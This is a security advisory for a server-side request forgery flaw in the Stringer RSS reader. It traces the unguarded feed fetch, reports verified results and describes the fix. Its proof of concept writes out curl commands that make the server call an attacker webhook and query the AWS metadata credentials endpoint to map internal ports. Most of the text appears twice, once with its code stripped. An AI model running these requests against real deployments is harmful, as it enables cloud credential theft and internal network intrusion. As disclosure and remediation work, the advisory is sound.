Summary
An unrestricted Server-Side Request Forgery (SSRF) vulnerability allows any authenticated user to force the Stringer server to send arbitrary HTTP/HTTPS requests to internal networks, localhost services, and cloud metadata endpoints (e.g. AWS IMDS 169.254.169.254). When self-service signup is enabled (Setting::UserSignup), even a low-privileged registered user can exploit this to scan internal services or steal cloud IAM credentials.
Details
When a user adds a feed, the user-supplied URL is fetched directly with no scheme allow-list, no host/IP filtering, and HTTP redirects followed by default.
Data flow:
POST /feeds with feed_url — app/controllers/feeds_controller.rb (create):
@feed_url = params[:feed_url]
feed = Feed::Create.call(@feed_url, user: current_user)
app/commands/feed/create.rb:
result = FeedDiscovery.call(url)
app/utils/feed_discovery.rb — the unguarded sink:
def get_feed_for_url(url)
response = HTTParty.get(url).to_s # <-- no validation, follows redirects
feed = Feedjira.parse(response)
...
end
FeedDiscovery.call also calls Feedbag.find(url), which issues a second outbound request.
The same unguarded fetch is reachable from:
PUT /feeds/:id (feeds#update) — lets the user change feed_url, fetched on the next scheduled poll.
app/commands/feed/fetch_one.rb → HTTParty.get(feed.url).
There is no SSRF guard anywhere in the codebase (no private-IP/link-local/loopback rejection, no scheme restriction). FeedDiscovery.call runs synchronously during POST /feeds, so the response/timing differences are directly observable to the attacker, enabling blind internal port scanning. Because redirects are followed, any future host-filtering on the initial URL could still be bypassed via a 30x redirect to an internal address.
PoC
NOTE — values you must replace for your own environment are marked <<...>>:
<<HOST>> : base URL of your Stringer instance.
<<WEBHOOK>> : your own webhook.site (or Burp Collaborator) URL.
<<TOKEN_SETUP>> / <<TOKEN_AUTH>> : the authenticity_token (Rails CSRF token) read from the HTML form of the
preceding GET request. CSRF is enabled, so each POST must carry the token from a fresh GET in the same session.
Test account: this PoC creates the first account itself (the first registered user becomes admin). The vulnerability
only requires any authenticated account — in a deployment with Setting::UserSignup enabled, a normal
self-registered user is sufficient.
All commands use a cookie jar (cj.txt) to keep the session.
1) Create + log in as the first user (admin). Read the CSRF token from the setup form first:
curl -s -c cj.txt <<HOST>>/setup/password
(extract authenticity_token value from the returned HTML → <<TOKEN_SETUP>>)
curl -s -b cj.txt -c cj.txt -X POST <<HOST>>/setup/password --data-urlencode "authenticity_token=<<TOKEN_SETUP>>" --data-urlencode "user[username]=attacker" --data-urlencode "user[password]=Password123!" --data-urlencode "user[password_confirmation]=Password123!"
(302 → /feeds/import = signed in)
2) Get a CSRF token for the authenticated session:
curl -s -b cj.txt -c cj.txt <<HOST>>/feeds/new
(extract authenticity_token → <<TOKEN_AUTH>>)
3) Trigger the SSRF — make the server call an attacker-controlled URL (out-of-band proof):
curl -s -b cj.txt -c cj.txt -X POST <<HOST>>/feeds --data-urlencode "authenticity_token=<<TOKEN_AUTH>>" --data-urlencode "feed_url=<<WEBHOOK>>/ssrf-proof-stringer?from=server"
Then check the collaborator (<<WEBHOOK>>) — a request arriving from the server's IP confirms the SSRF.
4) Reach internal-only targets the attacker cannot reach directly (blind oracle via response/timing):
curl -s -b cj.txt -c cj.txt -o /dev/null -w "time=%{time_total}\n" -X POST <<HOST>>/feeds --data-urlencode "authenticity_token=<<TOKEN_AUTH>>" --data-urlencode "feed_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Verified behaviour
Verified end-to-end against a live instance running stringerrss/stringer:latest (rails 8.1.3, httparty 0.24.2, feedbag 1.0.2):
-
Step 3 returned HTTP 200 after a multi-second synchronous outbound fetch. The collaborator showed two GET
requests to the marker path /ssrf-proof-stringer?from=server, originating from the server's egress IP (not the
client), with User-Agents Feedbag/1.0.2 and Ruby — confirming both the discovery and the fetch sinks fire.
-
Step 4 against a Docker-internal hostname (resolvable only inside the server's private network) produced a clear
blind oracle:
- open internal port → fast response
- closed internal port → instant connection refused
- unresolvable host → multi-second DNS timeout
i.e. the server reaches internal hosts and the measurable timing/response differences let an attacker enumerate
internal hosts and ports.
Impact
- Vulnerability class: CWE-918 Server-Side Request Forgery.
- Who is impacted: Any Stringer deployment, especially multi-user ones with self-service signup enabled. Any authenticated user (including the lowest-privileged registered user) can use the server as a proxy into the internal network / cloud metadata service, potentially leaking cloud IAM credentials, scanning and reaching internal-only services, and bypassing network ACLs.
Fix
Fixed in commit 75cb0955 (PR #1548). All outbound feed fetches now go through a SafeFetch helper that:
- restricts the URL scheme to
http/https, and
- performs the request inside
private_address_check's only_public_connections, which validates the actual connected IP — including loopback, private (RFC 1918), link-local (169.254.0.0/16, fe80::/10), and other reserved ranges, and re-checks on every redirect hop.
This is applied to FeedDiscovery (both the direct fetch and the Feedbag.find discovery request) and Feed::FetchOne.
Summary
An unrestricted Server-Side Request Forgery (SSRF) vulnerability allows any authenticated user to force the Stringer server to send arbitrary HTTP/HTTPS requests to internal networks, localhost services, and cloud metadata endpoints (e.g. AWS IMDS
169.254.169.254). When self-service signup is enabled (Setting::UserSignup), even a low-privileged registered user can exploit this to scan internal services or steal cloud IAM credentials.Details
When a user adds a feed, the user-supplied URL is fetched directly with no scheme allow-list, no host/IP filtering, and HTTP redirects followed by default.
Data flow:
POST /feedswithfeed_url—app/controllers/feeds_controller.rb(create):app/commands/feed/create.rb:app/utils/feed_discovery.rb— the unguarded sink:FeedDiscovery.callalso callsFeedbag.find(url), which issues a second outbound request.The same unguarded fetch is reachable from:
PUT /feeds/:id(feeds#update) — lets the user changefeed_url, fetched on the next scheduled poll.app/commands/feed/fetch_one.rb→HTTParty.get(feed.url).There is no SSRF guard anywhere in the codebase (no private-IP/link-local/loopback rejection, no scheme restriction).
FeedDiscovery.callruns synchronously duringPOST /feeds, so the response/timing differences are directly observable to the attacker, enabling blind internal port scanning. Because redirects are followed, any future host-filtering on the initial URL could still be bypassed via a 30x redirect to an internal address.PoC
All commands use a cookie jar (
cj.txt) to keep the session.1) Create + log in as the first user (admin). Read the CSRF token from the setup form first:
(extract
authenticity_tokenvalue from the returned HTML →<<TOKEN_SETUP>>)(302 →
/feeds/import= signed in)2) Get a CSRF token for the authenticated session:
(extract
authenticity_token→<<TOKEN_AUTH>>)3) Trigger the SSRF — make the server call an attacker-controlled URL (out-of-band proof):
Then check the collaborator (
<<WEBHOOK>>) — a request arriving from the server's IP confirms the SSRF.4) Reach internal-only targets the attacker cannot reach directly (blind oracle via response/timing):
Verified behaviour
Verified end-to-end against a live instance running
stringerrss/stringer:latest(rails 8.1.3, httparty 0.24.2, feedbag 1.0.2):Step 3 returned HTTP 200 after a multi-second synchronous outbound fetch. The collaborator showed two GET
requests to the marker path
/ssrf-proof-stringer?from=server, originating from the server's egress IP (not theclient), with User-Agents
Feedbag/1.0.2andRuby— confirming both the discovery and the fetch sinks fire.Step 4 against a Docker-internal hostname (resolvable only inside the server's private network) produced a clear
blind oracle:
i.e. the server reaches internal hosts and the measurable timing/response differences let an attacker enumerate
internal hosts and ports.
Impact
Fix
Fixed in commit
75cb0955(PR #1548). All outbound feed fetches now go through aSafeFetchhelper that:http/https, andprivate_address_check'sonly_public_connections, which validates the actual connected IP — including loopback, private (RFC 1918), link-local (169.254.0.0/16,fe80::/10), and other reserved ranges, and re-checks on every redirect hop.This is applied to
FeedDiscovery(both the direct fetch and theFeedbag.finddiscovery request) andFeed::FetchOne.